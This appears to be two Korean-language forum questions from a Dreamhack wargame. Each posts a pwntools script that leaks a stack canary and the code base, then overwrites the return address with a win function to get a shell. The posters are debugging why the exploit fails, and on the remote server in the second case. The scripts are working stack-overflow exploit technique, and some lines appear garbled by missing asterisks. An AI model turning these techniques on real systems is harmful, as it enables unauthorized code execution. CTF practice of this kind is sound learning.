from pwn import * p = process("./main") #p = remote("host1.dreamhack.games", 15816) context.log_level = 'debug' #[1] leak the canary payload = b'a'*7 p.sendafter("Pattern: ", payload) p.sendafter("Target length: ", b"1000\n") p.recvn(1001) canary = b"\x00" + p.recvn(7) canary_ = u64(canary) print(f"canary: {canary}") #[2] leak the main address payload = b'b'*43 p.sendafter("Pattern: ", payload) p.sendafter("Target length: ", b"1000\n") p.recvn(1032) main = p.recvn(6) + b"\x00\x00" main_addr = u64(main) print(f"[+] main_addr = {hex(main_addr)}") win = main_addr - 26 print(f"[+] win_addr = {hex(win)}") #[3] overwrite the return address payload = b'a'11 + p64(canary_) + p64(win)3 print(f"[+] payload = {hexdump(payload)}") p.sendafter("Pattern: ", payload) p.sendafter("Target length: ", b"1000\n") p.interactive() 코드는 위와 같이 작성했고 마지막에 target_len에 1000보다 큰 값을 입력 후 while문을 빠져나오면 ret주소가 win으로 덮여서 셸이 실행 되는 것을 기대했는데 왜 실행이 안되는지 잘 모르겠습니다.

from pwn import * p = remote("host8.dreamhack.games", 20740) #p = process("./main") p.sendline(b'a' * 7) p.sendline(b'1000') p.recvuntil(b'a' * 1001) canary = u64(b'\x00' + p.recvn(7)) print('canary is', hex(canary)) p.sendline(b'a' * 43) p.sendline(b'1000') p.recvuntil(b'a' * 1032) code_base = u64(p.recvn(6) + b'\x00\x00') - 0x128a print('code_base is', hex(code_base)) win = code_base + 0x1270 ret = code_base + 0x101a p.sendline(b'\x00' * 43) p.sendline(b'1000') #pause() p.sendline(b'a' * 11 + p64(canary) + b'\x00' * 8 + p64(ret) + p64(win)) p.sendline(b'1000') p.sendline(b'a') p.sendline(b'1001') p.interactive() 로컬에서는 쉘이 따지는데 remote로 연결 시 쉘이 안 따집니다 서버 환경이 로컬과 무엇이 다른지 확인하는 방법이 궁금합니다